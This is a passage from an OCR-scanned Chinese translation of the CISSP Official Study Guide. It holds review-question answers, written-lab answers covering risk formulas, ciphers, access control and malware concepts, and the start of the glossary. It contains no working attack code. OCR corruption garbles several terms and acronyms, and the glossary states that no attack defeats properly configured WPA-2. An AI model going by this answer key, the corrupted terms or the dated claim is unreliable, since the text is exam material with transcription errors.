5. A. 为 了避免基于签名的防病毒软件包的检测， 多态病毒在每次感染系统时修改 自 己的代码。
6. A. LastPass 是一个工具， 允许用户为他们使用的每个服务创建独特的、 强大的密码， 而没有
记住它们的负担。
7. D. 缓冲 区溢出攻击允许攻击者通过写入超出 分配给变量的空间来修改系统内存的 内容。
8. D. 除 了 D 选项之外， 其他选项都是可以在字典攻击中找到的常见词汇。 mike 是一个名字 ，
并且很容易被发现。 e1ppa 只 是 apple 的反向拼写 ， 而 dayorange 则组合了两个字典词汇。 Crack 程序
和其他实用程序可以很容易地看穿这些 "鬼鬼祟祟的 " 技术。 选项 D 是一个字典攻击不会发现的随
机字符串 。
9. B. 阴影密码文件将加密 的密码信息从公共可读的/etclpasswd 文件移到受保护的/etclshadow
文件中 。
1 0. D. 单 引 号字符(')用 于 SQL 查询， 必须在 Web 表单上仔细处理， 以防止 SQL 注入攻击。
1 1 . B. Web 应用程序开发人员应该利用数据库存储过程来限制应用程序执行任意代码的能力。
使用存储过程、 SQL 语句驻留在数据库服务器上 ， 并且只能 由 数据库管理员修改。
1 2. B. 端口扫描能够揭示在计算机上运行的 公用服务所使用 的端 口 。
1 3. A. 只 有针对包含反射式输入的 Web 应用程序时， 才能成功进行跨站脚本攻击。
1 4. D. 复合病毒使用两种或更多种传播技术(例如文件感染和引 导扇 区感染)来最大化它们的传
播范围 。
1 5. B. 通过将用户 输入限制在预定义的范围 内 ， 输入确认能够防御跨站脚本攻击。 这种做法能
够防止攻击者在输入中 包含 HTML <SC阳PT>标记。
1 6. A. Stuxnet 是一种高度复杂的蠕虫， 旨 在破坏连接到西 门子控制器的核浓缩离心机。
1 7. B. 后门是未记录的命令序列 ， 允许具有后 门 知识的个人绕过正常的访 问限制。
1 8. D. Java 沙箱隔离了 applet， 并且允许 app1et 在受保护的环境内运行， 从而限制其可能对系
统剩余部分的影响 。
1 9. D. <SCRIPT>标签用于指示可执行的客户端脚本的开头， 并用于反射型输入来创建跨站脚
本攻击。
20. A. 不允许具有 内 部源 IP 地址的数据包从外部进入网络， 因 为它们可能被欺骗。
附录 B
书面实验室答案
第 1 章 通过原则和策略的安全治理
1. CIA 三元组是机密'性、 完整性和可用性的组合。 这个术语用于指示安全解决方案的三个关键
组件。
2 可问 责性需要建立在身份标识、 身份认证、 授权和审计的基础上。 为了真正地对某人的行为
进行 问贵， 必须合法地支持上述每个组件 。
3. 变更控制管理的优点包括: 阻止由于非受控变更导致的不希望的安全性降低， 记录和跟踪环
境、 标准化、 遵循安全策略中的所有改变， 以及在发生不希望的或未预期的事件时能够回滚变化。
4. (1)确定管理人并定义他们的职责。 (2)指定如何对信息进行分类和标记的评估标准。 (3)对每个
资源进行分类和标记。 尽管所有者主导这个步骤， 但是必须有监督人员进行检查。 (4)记录发现的分
类策略的所有例外， 并且将这些例外集成到评估标准中 。 (5)选择应用于每个分类级别 的安全控制，
从而提供必要的保护级别。 (6)指定解除资源分类的过程以及将资源的保管权转移给外部实体的过
程 。 (7)创建一个整个企业范围内都知 晓的计划 ， 从而指导所有人员对分类系统的使用 。
5. 6 种安全角色是: 高级管理者、 盯/安全人员 、 数据所有者、 数据管理员 、 操作者/用 户 以及审
计人员 。
6. 安全策略的 4 个组成部分是: 策略、 标准、 指导方针以及措施。 策略是宏观的安全陈述。 标
准定义了硬件和软件的安全规范。 指导方针在没有适当措施的情况下使用 。 措施详细指导如何以安
全 的方式逐步完成工作任务。
第 2 章 人员安全和风险管理概念
l 可能的答案包括: 工作描述、 最小特权原则 、 职责分离、 工作职责、 岗位轮换/交叉培训11 、
绩效检查、 背景调查、 工作活动警告 、 意识培训11 、 工作培训 、 离职/终止合同面谈、 保密协议、 竞业
禁止协议、 雇用协议、 隐私声 明 以及可接受的使用策略。
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CISSP 官方学习指南(第 7 版)
2. 这些公式是:
SLE = AV * EF
ARO=#/严
ALE = SLE * ARO
成本/效益= (ALE 1 - ALE2) - ACS
3. Delphi 技术是一个匿名反馈和响应过程， 用 于使组织达成匿名 的共识， 主要 目 的是引起所有
参与者诚实和不受影响的响应。 参与者通常聚集在一间会议室里。 对每个请求进行反馈时， 每个参
与者在纸上匿名 写下他们的 回答。 整理结果并提交给小组进行评估。 重复该过程直到达成共识。
4. 风险评估通常涉及使用定量和定性的混合方法。 纯粹的定量分析是不可能的; 不是所有的分
析元素和方面都可以量化， 因为一些是定性的， 一些是主j见的 以及一些是无形的。 由于不可能进行
纯粹的定量风险评估， 因此平衡定量分析的结果是必要的。 将定量和定性分析结合到组织风险最终
评估中 的方法被称为混合评估或混合分析。
第 3 章 业务连续性计划
l 联邦政府、 州和地方的许多法律或法规要求业务实现 BCP 预备措施。 让法律代表加入 BCP
团 队有助于确保遵循法律、 规章与合同中的约束。
2. "凭直觉" 方式是不愿意花费时间和金钱正常实施 BCP 的人使用 的借口 。 如果没有适当 的
计划来指导紧急情况下的 响应， 那么 就会导致灾难的发生。
3. 定量风险评估涉及使用数值和公式做出决定 。 定性风险评估包括非数值因素， 例如情感、 投
资者/客户信心 以及员 工稳定性。
4. BCP培训计划应当包括针对所有员工的计划概述以及针对直接或间接参与的个人的具体培
训11 。 此外 ， 应 当为每个关键的BCP角 色都培训候补人员 。
5. BCP 过程的 4 个步骤为: 项 目 范围和计划编制、 业务影响评估、 连续性计划、 批准/实现。
第 4 童 法律、 法规和合规性
1 . 个人有权访问 与其相关的记录， 并且有权知道包括在这些记录中 的数据源。 他们还有权改正
错误的记录。 个人有权拒绝处理数据 ， 井且在 这些权利被违反时进行法律求助 。
2. 组织可能会询 问 外包服务提供商一些常见问题， 如下:
• 由 供应商存储、 处理或传输什么类型的 敏感信息?
• 有什么控制来保护组织 的信息?
• 组织的信息如何与其他客户 信息隔离?
• 如果依赖加密作为安全控制 ， 使用什么加密算法和密钥长度 ? 如何处理密钥管理?
• 供应商执行什么类型的安全审核 ， 客户 对这些审核有什么样 的访问?
• 供应商是否依赖任何其他第三方存储、 处理或传输数据? 与安全相关的合同条款如何扩展
到第三方?
• 数据存储、 处理和传输发生在哪里? 如果在客户和β或供应商 的本国 以外， 这有什么影响?
附录 B 书面实验室答案
• 供应商的事件响应流程是什么 ， 客户 何时 会被通知潜在的安全漏洞 ?
• 有什么条款来确保客户数据的持续完整性和可用性 ?
3. 为了通知员工在受到监视， 雇主采取的一些常见措施包括: 在雇用合同的条款中声明员工在
使用公司设备时没有隐私要求; 在公司可接受的应用和隐私策略中类似的书面声明: 登录界面警示
所有的通信都受到监视; 计算机和 电话上的警示监控标记。
第 5 童 保护 资产的安全
1 . 个人身份信息σII)是可以识别一个人的任意信息， 包括可用于区分或追踪个人身份的信息，
例如姓名 、 社会安全号码或身份证号码、 出生日 期和地点、 母亲的婚前姓名和生物识别记录。 受保
护 的健康信息σ皿)是可 以与特定人相关的任何健康相关的信息。 P固 不只仅适用于卫生保健提供
者 。 任何提供或补充保健策略的雇主 都会收集和处理 PID o
2. 固态硬盘(SSD)应该被销毁(例如用破碎机)以净化它们。传统方法使用硬盘驱动器， 并不可靠。
3. 组织可以使用他们想要的任何分类级别。 两个示例是类 3 、 类 2、 类 l 和类 0， 以及机密(或
专有)、 私有、 敏感和公共。
4 安全港项 目包括 以下 7 条原则: 通知、 选择、 向前转移、 安全、 数据完整性、 访问和执行。
第 6 章 密码学与 对称加密算法
1 . 广泛采用一次性密码本加密系统的主要障碍是， 难以建立和分发很长的算法所依赖的密钥。
2. 加 密这条消息的第一个步骤需要对秘密密 钥的字母分配数字列值:
S E C U R E
5 2 1 643
第二步， 将消息的字母按顺序在密钥字母的下面进行书写:
S E C U R E
5216 4 3
I W I L L P
A S S T H E
C I S S P E
X A M A N D
B E C 0 M E
C E R T I F
I E D N E X
T M 0 N T H
最后， 发送者通过对向 下读取消息的每一列进行加密。 列读取的顺序符合第一步所分配的数字
编号。 这将产生下面的密文:
I S S M C R D 0 W S I A E E E M P E E D E F X H L H P N M I E T I A C X B C I T L T S A
o T N N
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3. 这条消息通过下面的 函 数解密:
p = (C - 3) mod 26
C: F R Q J U D W X 0 D W L R Q V B R X J R W L W
P: C 0 N G R A T U L A T 1 0 N S Y 0 U G 0 T 1 T
被隐含的消息为 " Congratulation You Got It "。
第 7 章 PKI 和 密码学应用
1. Bob 应当使用 Alice 的公钥加密消息 ， 随后将加密的消息发送给 Alice。
2. Alice 应当使用其私钥来解密消息。
3. Bob 应当使用散列函数生成明文消息的消息摘要。 随后， 他可以使用 自 己的私钥加密消息摘
要 ， 从而创建数字签名 。 最后， Bob 会在消息中添加数字签名 并发送给 Alice。
4. Alice 会使用 Bob 的公钥解密 Bob 所发送消息中的数字签名 。 随后， 她使用 与 Bob 创建数字
签名相 同的散列算法生成明文消息的消息摘要。 最后， Alice 比较两个消息摘要。 如果二者完全相同 ，
那么数字签名就是可信的 。
第 8 童 安全模型的原则 、 设计和功 能
1 . 安全模型包括状态机模型、 信息流模型、 非干扰模型、 Take-Grant 模型、 访 问控制矩阵、
Bell-LaPadula、 Biba、 Clark札1ilson 、 Brewer and Nash(又被称为中 国墙模型 ， Goguen-Mesegu町、
Sutherland 和 Graham-Denning。
2. TCB 的主要组件是: 用于实施安全策略的硬件和软件元素(这些元素被称为 TCB)， 区别和分
隔 TCB 组件与非 TCB 组件的安全边界， 以及能够作为穿越安全边界的访问控制设备使用的引用监
控器。
3. Bell-LaPadula 安全模型的两个规则是不能向上读的简单规则和不能向下写的星号规则。 Biba
安全模型的两个规则是不能向下读的简单规则和不能 向上写的星号规则 。
4. 开放式系统是一种使用 己发布 API 的系统， 它允许第三方开发与之交互的产品。 封闭式系统
是专有的系统， 它不支持任何第三方产品 。 开放源码是一种允许他人查看幸自芋源代码的编码方式。
封 闭源码是一种相反 的编码方式， 这种方式保持源代码的机密性。
第 9 章 安 全脆弱性、 威胁和对策
1 . 用于描述允许同时执行多个活动的不同计算机机制的术语有: 多任务处理、 多重处理、 多程
序设计、 多 线程处理 以及多态处理 。
2. 这4种安全模式是: 专用模式、 系 统高级模式、 分 隔模式以及多 级模式。
3. 描述存储器的三对特性是: 主存储器和辅助存储器， 易失性存储器和非易失性存储器， 以及
随机存取存储器和顺序存取存储器。
附录 B 书面实验室答案
4. 分布式体系结构中存在的某些脆弱性包括: 台式机/终端/笔记本电脑中的敏感数据 ， 用户缺
乏对安全性的理解， 物理组件被盗的风险更大， 某个客户端受到威胁会导致整个网络受到危害， 由
于用户安装软件和可移动介质导致引入恶意软件的风险更大， 以及客户端上的数据很少被包含在备
份中。
第 1 0 章 物理安全需求
1 . 栅栏是一种极佳的边缘防护措施， 有助于阻拦偶然的非法进入。 6 到 8 英尺高的栅栏能够完
成适度的安全工作， 并且通常是回旋(也被称为 " 链节 " )围栏， 表面缠绕或带刺， 以便阻挡一般的
翻越。 更加安全的安装方法往往是选择高度在 8 英尺 以上的栅栏， 并且链节上具有多股带刺或锋利
的金属网， 从而能够阻止进一步的翻越。
2. 哈龙在 900 华 氏度降解成有毒气体， 此外还不环保(哈龙是一种消耗臭氧的物质)。 虽然哈龙
是可重复利用 的 ， 但是在 2003 年发达国家已停止生产哈龙。 哈龙常常被更加环保和毒性较小的物质
替代。
3. 一旦用水来抑制起火、 火焰或烟雾， 带来的危害就成为一个严重的问题， 尤其是在使用 电子
设备的环境中放水时更是如此。 水不仅会危害或破坏计算机和其他电子设备， 而且还会使许多种存
储介质受到破坏或失效。 此外， 在寻找火源的时候， 为 了尽可能快速到达指定位置， 消防队员经常
会使用斧子破门而入或破坏墙壁 。 这样也会引 起对设备和/或邻近线路的潜在物理破坏或毁坏。
第 1 1 童 网 络安全架构与 保护 网 络组件
1 . 应用层(7)、 表示层(6)、 会话层(5)、 传输层(4)、 网络层(3)、 数据链路层(2)和物理层(1)。
2. 与线缆连接相关的 问题及对策包括: 衰减(使用 中继器或不要超出推荐的距离范 围)， 使用错
误的 CAT 线缆(根据吞吐量要求查看线缆规范和小心谨慎防止出错)， 串扰(使用屏蔽线缆， 将线缆置
于不同 的管道内， 或者使用每英寸缠绕数不同的线缆)， 线缆折断(避免线缆移动)， 干扰(使用线缆屏
蔽， 使用每英寸缠绕数更多 的线缆， 或者切换使用光缆)， 偷听(维护所有线缆的物理安全性 ， 或者
切换使用光缆)。
3. 人们开发了一些频谱使用技术， 这些技术包括扩频、 调频扩频σHSS)、 直接序列扩频(DSSS)
和 正交频分复用(OFDM)。
4. 保证 802. 1 1 无线网络连接安全性的方法包括: 禁止 SSID 广播; 将 SSID 修改为独特的标识
符: 启用 MAC 过滤: 考虑使用静态 E 或有保留地使用 DHCP; 启用提供的最高加密形式(例如 WEP，
矶TPA 或 WPA2/802. l1i); 将无线通信按照远程访问对待 以及利用 802. 1X、 RADIUS 或 TACACS; 使
用 防火墙隔离无线接入点和 LAN; 使用 IDS 监控所有无线客户端的活动: 考虑要求无线客户端使用
VPN 进行连接， 从而获得访 问 L剧 的权限。
5. LAN 共享介质访问技术是: CSMA、 CSMAlCA(由 802.11 和 AppleTalk 使用)、 CSMAlCD(由
以太网使用)、 令牌传递(令牌环和 FDDIICDDI)和使用轮询(由 SDLC、 HDLC 以及某些大型机系统
使用)。
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CISSP 官方学习指南(第 7 版)
第 1 2 童 安 全通信和 网 络攻击
1. IPSec 的传输模式被用于主机到主机链接， 并且只加密有效载荷， 对头不加密。 IPSec 的隧道
模式用于主机到 LAN 和 LAN 到 LAN 链接， 并且加密整个原始有效载荷以及头， 随后会添加一个
链接头 。
2. 网络地址转换(N，叮)允许对外部实体隐藏内 部系统的身份。 NAT 常用 于在 盯C 1918 专用 E
地址和租用 的公共地址之间进行转换。 因为只允许响应先前的 内部查询的入站通信 ， 所以 NAT 充当
单 向 防火墙。 NAT 还允许大量的内 部系统使用少量的租用 公共地址连接到互联网 。
3. 电路交换常常与物理连接相关联。 链接本身是为通信物理建立和断开的。 电路交换提供己知
的固定延迟， 支持稳定的通信， 这种面向连接的交换只对连接(而不是通信)的丢失敏感， 并且最常
用于语音传输。 因为链接只是在可能路径之间逻辑定义的路径， 所以分组交换常常与逻辑连接相关
联。 在分组交换系统内部， 每个系统或链接都可以被其他电路同时使用 。 通信信息被分为若干小段，
每个小段都通过电路到达 目 的地。 因为每个小段都可能采用独特的路径， 所有分组交换具有可变的
延迟。 分组交换通常用于突发的通信 ， 不是面向物理连接的， 但是往往会使用虚电路， 对数据的丢
失 比较敏感， 并且可 以用 于任何通信形式。
4. 电子邮件本身是不安全的 ， 原因在于它主要是一种明文通信介质 ， 并且使用非加密的传输协
议。 因此， 电子邮件很容易遭受欺骗攻击、 垃圾邮件攻击、 洪泛攻击、 偷听、 干扰和劫持攻击。 针
对这些攻击的主要对策包括: 要求强度更高的身份认证， 在传输时使用加密技术保护 电子邮件的
内 容。
第 1 3 章 管理身份与 认证
l . 访问控制类型包括: 预防、 检测、 纠正、 威慑、 恢复、 指示和补偿性访问控制。 它们被实现
为行政管理性控制 、 逻辑/技术性控制和/或物理性控制 。
2. 类型 l 身份认证因素是 " 你知道什么 "。 类型 2 身份认证因素是 " 你拥有什么 "。 类型 3 身
份认证因 素是 " 你是谁"。
3. 联合身份管理系统允许单点登录(SSO)扩展到单个组织之外。 SSO 允许用户一次认证并访问
多个资源， 而不需要再次认证。 SAML 是用于在组织之间交换联合身份信息的 公共语言 。
4. 身份和访问配置生命周期包括配置账户 、 定期审查和管理账户 以及在账户不再使用时撤销
账户 。
第 1 4 章 控制 和监控访问
1 . 自 主访问控制ρ'AC)模型允许对象的所有者、 创建者或数据保管人控制和定义访问 。 管理员
集中管理非 自 主访 问控制 ， 并可 以进行影响整个环境的变更。
2. 资产、 威胁和漏洞应通过资产评估、 威胁建模和漏洞分析来识别 。
3. 暴力攻击、 字典攻击、 嗅探攻击、 彩虹表攻击和社交工程学攻击都是用于发现密码的方法。
附录 B 书面实验室答案
第 1 5 童 安 全评估和测试
1. TCP SYN 扫描向设置了 SYN 标志的每个扫描端口发送单个数据包。 这表示打开新连接的请
求。 如果扫描器接收到设置 了 SYN 和 ACK 标志的响应， 则表示系统正在进行三次 TCP 握手中 的
第二阶段， 并且端 口 己打开。 TCP SYN 扫描也称为 吨开放 " 扫描。 TCP 连接扫描将打开与指定端
口 的远程系统的完整连接。 当运行扫描的用户没有运行半开放扫描所需的权限时 ， 将使用此扫描
类型。
2. nmap 返 回 的三个可能的端 口 状态值如下:
• 打 开 端 口 在远程系统上打开， 并且有一个应用程序正在主动接受该端 口 上的连接。
• 关 闭一一端 口可在远程系统上访问， 这意味着防火墙正在允许访问 ， 但没有应用程序接受
该端 口 上的连接。
• 过滤一一-nmap 无法确定端 口 是打开还是关闭， 因 为防火墙正在干扰连接尝试。
3. 静态软件测试技术(如代码评审)通过分析源代码或编译应用程序来评估软件的安全性， 而无
须运行。 动态测试在运行时环境中评估软件的安全性， 并且通常对于部署了 由其他人编写的应用程
序的组织来说是唯一选择。
4. 变异模糊测试从软件实际操作中提取之前的输入值， 对其进行处理(或改变)以创建模糊输入。
它可能改变内容的宇符， 为 内容的结尾附加字符串或执行其他数据操作技术。 智能模糊测试基于对
程序所使用数据类型的理解， 开发数据模型并创建新的模糊输入
第 1 6 章 管理安全运营
1 . 知其所需关注权限和访问信息的能力， 而最小特权原则集中于特权。 特权包括权限和许可。
这两者都限制用 户和主体仅访问 他们需要的东西。 遵循这些原则有助于防止和限制安全事件的
范围。
2. 管理敏感信息包括根据信息 的分类， 对其进行正确标记 、 处理、 存储和销毁。
3. 这三种模型是软件即服务(S踊S)、 平台即服务σ剧S)和基础设施即服务(IaaS)。 云服务提供商
(CSP)使用 SaaS 提供最多的维护和安全服务， 其次少的是 P踊S， 最少的是 IaaS。 虽然 NIST SP 800-144
提供了 这些定义， 但 CSP 有时在营销材料中使用 自 己的术语和定义。
4. 变更管理有助于防止由于 未授权更改了 系统配置 ， 从而导致中断。
第 1 7 章 事件预防和晌应
1. CISSP CIB 中列出 的事件响应步骤是检测、 响应、 缓解、 报告、 恢复、 修复和教训总结。
2. 入侵检测系统可以基于它们的检测方法(基于知识或基于行为)， 以及基于它们的响应(被动或
主动)而被描述为基于主机或基于网络。
基于主机的 IDS 非常详细地检查各个计算机上的事件， 包括文件活动、 访 问和进程。 基于网络
的 IDS 通过流量评估来检查一般网络事件和异常。
基于知识的 IDS 使用 己知攻击的数据库来检测入侵。 基于行为的 IDS 从正常活动的基线开始，
673
674
CISSP 官方学习指南(第 7 版)
并针对基线测量网络活动 以识别异常活动 。
被动响应将记录活动 以及通常提供通知 。 主动 响应直接响应入侵 以 停止或阻止攻击。
3. 审计是为了 确保遵守各项规章制度和检测异常的、 未经授权的活动或公开犯罪， 而对涉及广
泛活动的环境进行的系统检查或审查。 审计跟踪提供支持这种检查或审查的数据， 井且实质上使得
审计和随后检测攻击和行为不端成为可能。
4. 组织应定期执行访问 审查和审核。 这些可以检测组织何时不遵循 自 己与账户管理相关的策略
和过程。
第 1 8 章 灾难恢复计划
1 . 在考虑采用相互援助协议的时候， 存在三个主要的业务问题。 首先， 由于MAA 的 内在特点，
通常要求相互合作的组织的地理位置应该比较接近。 但是， 这种要求增加了两个组织成为同一威胁
受害者的风险。 其次， MAA 在危机发生的时候很难强制实施。 如果非受害方在最后时刻不履行协
议， 那么受害方将是非常不幸的。 最后， 出于对机密性的考虑(与法律和商业相关)， 经常会阻止有
敏感业务数据的公司信任其他公 司 。
2 灾难恢复测试具有下列 5 种主要类型:
• 清单测试是 向 灾难恢复人员 分发恢复清单从而进行审查。
• 结构化演练是 " 桌面练习 'p ， 包括集中 灾难恢复团队的成 员讨论灾难情景 。
• 模拟测试更加全面， 并且可能影响组织的一个或多个不很重要的业务单元。
• 并行测试涉及重新分配人员到替代场所 ， 并在那里开始运作 。
• 完全中断测试包括重新分配人员到替代场所 ， 并关闭主要的运营场所。
3. 完整备份是创建存储在服务器上的所有数据的备份。 增量备份是生成自从最近一次完整备份
或增量备份以来被修改过的所有文件的备份。 差异备份生成自从最近一次完整备份以来被修改过的
所有文件的备份， 而不用考虑 以前发生的 差异备份或增量备份。
第 1 9 章 事件 与道德规范
1 . 计算机犯罪的主要类别是: 军事或情报攻击、 商业攻击、 财务攻击、 恐怖攻击、 恶意攻击和
兴奋攻击。
2. 兴奋攻击背后的主要动机是有人尝试体验成功 闯入计算机系统带来的极度兴奋。
3. 约谈是为了收集有助于调查 的信息而进行的 。 审 问是为了 收集刑事检控所需证据而进行的。
4 事件是在特定时间周期内发生的任何事情。 事故是对组织数据的机密性、 完整性和可用性具
有负面影响 的事件
5. 事故响应团队通常包括: 高级管理部门 的代表、 信息安全专业人员 、 法律代表、 公共事务/
通信代表 以及技术工程师。
6. 事件响应过程的三个阶段是检测和识别 、 响应和报告 ， 以及恢复和补救。
7. 可 以接受的是 ， 证据必须是可靠的 、 充足的和案件的材料 。
附录 B 书面实验室答案
第 20 章 软件开发安全
1 . 主键唯一标识表中 的每一行。 例如， 员 工标识号可能是包含有关员工信息表的主键。
2. 多 实例化是一种数据库安全技术 ， 似乎允许插入多个共享相 同 唯一标识信息的行。
3. 静态分析执行代码本身的评估， 对安全缺陷分析指令序列。 动态分析在实时生产环境中测试
代码， 搜索运行时缺陷 。
4. 阶段第 2 1 章 恶意代码与应用攻击
1 . 病毒和蠕虫都在系统间传播， 并且都企图将它们的恶意有效载荷传播到尽可能多的计算机。
然而， 病毒需要一些类型的人为干预， 如通过共享文件、 网络资源或邮件进行传播。 另 一方面， 蠕
虫能够找出 漏洞 ， 并且依靠自 己的力量在系统间传播， 因此大大增加了它们的复制能力， 特别在精
心构思的网络中更是如此。
2. 互联网蠕虫使用 了 4 种传播技术。 首先， 它利用 Senclmail 实用程序中 的一个 bug， 这个 bug
准许蠕虫通过向远程系统上的 Senclmail 程序发送特别制作的、 包含蠕虫代码的破坏性电子邮件来传
播 自 己。 第二， 它使用 了基于字典的密码攻击， 通过使用一个有效系统用户 的用户名和密码来试图
获得对远程系统的访问权限。 第三， 它利用 finger 程序的一个缓冲区溢出漏洞来感染系统。 最后，
它分析了 网络中该系统与其他系统之间存在的信任关系， 并且试图通过可信路径传播至这些系统。
3. 如果可能， 反病毒软件可能试着为文件清除病毒， 删除病毒的恶意代码。 如果都失败了， 那
么它可能隔离文件 以便人工复审 ， 或者可能 自 动删除文件 以 免遭受进一步的感染。
4. 数据完整性保证软件包(例如 Trip飞we)会为受保护系统上存储的每个文件计算哈希值。 如果
某个文件感染程序病毒攻击了系统， 那么会导致受影响文件的哈希值发生变化， 并且因此将触发文
件完整性警报。
675
术 语 表
数 字和符号
*(星)完整性公理 : (*公理)
Biba 模型的公理， 规定在特定分类级别上的主体不能向较高分类级别写入数据。 这通常会被缩
略为 " 不能 向上写 "。
*(星)安全属性 : (*属性)
Bel1-LaPadula 模型的属性， 规定在特定分类级别上的主体不能向较低分类级别写入数据。 这通
常会被缩略为 " 不能向下写"。
802.1 1 i(WPA-2)
对 802. 1 1 标准的修正， 定义了新的身份认证以及类似于 IPS民 的加密技术。 迄今为止， 还不存
在能够危害 己正确配置的 WPA-2 无线网络的攻击。
802.1q
ffiEE 标准定义了 VL州标签。 VLAN 标签由交换机和网桥用于管理 VLAN 内 和 VL剧 之间的
流量。
802.1x
一种无线身份认证保护形式 ， 要求所有无线客户端在被准许网络访 问 前通过 RADIUS 或
TACACS 服务的防护 。
1 000Base-T
双绞线的一种形式， 在 100 米的距离内支持每秒 1 000Mbps 或 lGbpb 的吞吐量。 通常被称为千
兆 以太网(Gigabit Ethernet)。
1 00Base-TX
双绞线的另一种形式， 与 1 00Base-T 类似。 1 00Base-TX 是快速以太网 的最常见形式。
CISSP 官方学 习指南(第 7 版)
1 0Base2
同轴电缆的一种类型。 通常被用于连接系统和主干中 继线。 1 0Base2 最大的跨度是 1 85 米 ， 最
大 的吞吐率是 1 0Mbps。 它也被称为细缆。
1 0Base5
同轴电缆的一种类型。 通常被用作网络的主干。 1 0Base5 最大的跨度是 500 米 ， 最大的吞吐率
是 1 0Mbpso 它也被称为粗缆。
1 0Base-T
网络线缆的一种类型 ， 由 4 对双绞的线缆组成， 这 4 对线双绞在一起， 然后被包在 PVC 绝缘皮
内 。 它也被称为双绞线。
A
abnormal activity : 异常活动
指系统中非正常发生的任何系统活动 ， 也被称为可疑活动 。
abstraction : 抽取
将相似元素组成的集合放入组 、 类别或角色中， 以便作为集合分配安全控制、 限制或权限。
acceptable use pol icy : 可接受使用 政策
可接受的绩效水平、 员 工行为和活动期望的策略。 不遵守策略可能导致工作行动警告 、 惩罚或
终止。
678
acceptance testing : 验收测试
这种测试试图验证系统满足指定的功能性标准， 并且还可能验证满足产品的安全性能。 验收测
试被用 于判断终端用户 或客户 是否会接受己完成的产品。
accepti ng risk : 接受风险
管理层对可能采用的防护措施进行成本/效益分析评估， 进而确定应对措施的成本远远超过风险
可 能造成的损失的成本。
access : 访问
由 客体到主体的信息传输。
access aggregation : 访问聚合
收集多个非敏感信息并将其组合或聚合用于学习敏感信息。 侦察攻击经常使用访问聚合方法。
术语表
access control : 访问控制
主体被授权或限制对客体进行访问 的机制。 它包括标识和验证主体， 验证对客体的授权以及监
视或记录访 问 尝试的硬件、 软件和组织策略或过程。
Access Control List : 访问控制列表(ACL)
访 问控制列表指定了每个主体对客体的访 问级别。
Access Control Matrix : 访问控制矩阵(ACM)
包含主体和客体的一个表， 它指明 了每一个主体可以对每一个客体执行的操作或功能。 矩阵中
的每一列都是一个 ACL. 每一行都是功能列表。
access control types : 访问控制类型
预防性控制尝试防止发生安全事件， 侦测性控制尝试在事件发生后发现事件， 纠 正性控制尝试
纠 正检测到的事件引起的任何问题。 其他控制类型包括恢复、 威慑、 指令和补偿访问控制。 控制是
使用管理、 逻辑/技术或物理手段实现的。
access tracking : 访问跟踪
对主体的访 问 企图或行为进行审计 、 记录和监控 ， 也被称为活动跟踪。
account lockout : 账户锁定
密码策略程序化控制措施中 的一个要素， 它可以在失败的登录尝试达到指定的次数后禁用用 户
账户 。 账户锁定是一种防止针对系统登录提示的穷举攻击和字典攻击的有效对策。
accountability : 可问责性
使某人对某件事情负责的过程。 此时， 如果主体的身份和行为可以被跟踪和验证 ， 那么就有可
能实现可 问 责性 。
accreditation : 鉴定
由指定许可机构(DAA)给出 的正式声明 ， 指出通过在可接受的风险程度上使用一系列规定的安
全措施， IT 系统被准许在特定 的 安全模式下运行。
ACID : 模型
ACID中 的这些宇母表示数据库事务处理的4个必需特征: 原子性、 一致性、 隔离性以及持久性。
active content : 活动内容
这种 Web 程序被下载至用 户 自 己 的计算机上执行 ， 而不是消耗服务器端的资源。
ActiveX
Microsoft 公司在 Web 应用程序中使用的组件对象模型(CO问技术。 ActiveX 可 以使用多种语言
679
CISSP 官方学 习指南(第 7 版)
之一实现， 这些语言包括 Visual Basic、 C 、 C++和 Java 。
ad hoc
两个(或多个)单独系统之间的对 等无线网络连接 ， 而不需要无线基站 。
Address Resolution Protocol : 地址解析协议(ARP)
TCPIIP 协议组的一个子协议， 工作在数据链路层(第 2 层)上。 ARP 被用于通过 E 地址的轮询发
现系统 的 MAC 地址。
addressing : 寻址
由 处理器访问内存中不 同位置的方法。
administrative access controls : 行政管理性访问控制
依照组织的安全策略定义的策略和措施， 用 于实现并加强整体的访问控制 。 例如， 行政性访 问
控制包括雇用准则、 背景调查、 数据分类、 安全培训11 、 假期历史审查、 工作监督、 人员控制和测试。
administrative law : 行政法
行政法涉及广泛的主题， 从美国联邦机构内 使用 的程序， 乃至用来执行美国国会通过的法律的
移 民政策。 行政法被颁布在美国联邦法规(CFR) 中 。
administrative physical security controls : 行政性的物理安全控制
安全控制包括设施构造和选择 、 场地管理、 人员控制 、 意识培训和紧急事件响应及规程。
admissible evidence : 可接纳的证据
证据要与确定事实相关。 证据要确定的事实必须对本案是必要的(也就是相关)。 此外， 证据必
须具有法定资格， 这意味着必须合法获得证据。 由于不具备法定资格， 因此非法搜查所获得的证据
是不可接纳的 。
680
Advanced Enc叩ption Standard : 高级加密标准(AES)
由美国 国 家标准与技术研究院(NIST)在 2000 年 10月选择的加密标准， 基于 Rijndael 密码。
Advanced Persistent Threat: 高级持续性威胁(APT)
一些有组织的攻击者， 他们有高度动机、 技术和耐心。 他们通常由政府赞助， 专注于特定的 目
标 ， 并将继续攻击很长一段时间， 直到他们实现 目 标为止。
adviso叩 policy : 建议式的策略
建议式的策略讨论可接受的行为和活动， 并且定义破坏安全的后果。 它解释了 高层管理部门在
组织内 部对安全和遵守规定的期望。 大多数的策略都是建议式的。
术语表
adware : 广告软件
广告软件使用多种技术在被感染的计算机上显示广告 。通常与间谍软件相关或链接到间谍软件。
agent : 代理
代表用户 执行操作的智能代码对象 。 代理通常接受用户 的指令， 然后 自 动执行其操作， 并且可
能持续一段预定的时间直至满足某些条件 ， 或者可能持续一段不确定的时间。
aggregate functions : 聚合函数
SQL 函数， 如 COUNTO、 MINO、 MAXO、 SUMO和 AVGO， 它们可能针对数据库运算得到信
息集合。
aggregation : 聚合
一组函数， 它们将一个或多个表中 的记录组合在一起， 从而产生可能有用 的信息 。
agile software development: 敏捷软件开发
一组软件开发方法， 避开过去的僵化模型， 倾向于强调客户需求的方法， 以及快速开发以法代
方式满足这些需求的新功能。
alarm : 警报
从运动探测仪中分离出 的一种机制 ， 可以引发威慑、 防护和/或通知。 只要运动探测仪显示环境
中出现显 著的变化， 就都会发出警报 。
alarm triggers : 警报触发器
在发生特定事件时发送给管理员 的通知 。
algorithm : 算法
对输入数据执行的一组规则或过程 。 通常与加密函 数相关， 指 定加 密和解密的排列 。
analytic aUack : 分析攻击
这是一种试图减少密码学算法复杂性的代数运算 。 分析攻击关注于算法本身 的逻辑。
AND
检查两个数值是否都为真的运算 (利用符号〈表示) 。
Annual ized Loss Expectancy : 年度损失期望(ALE)
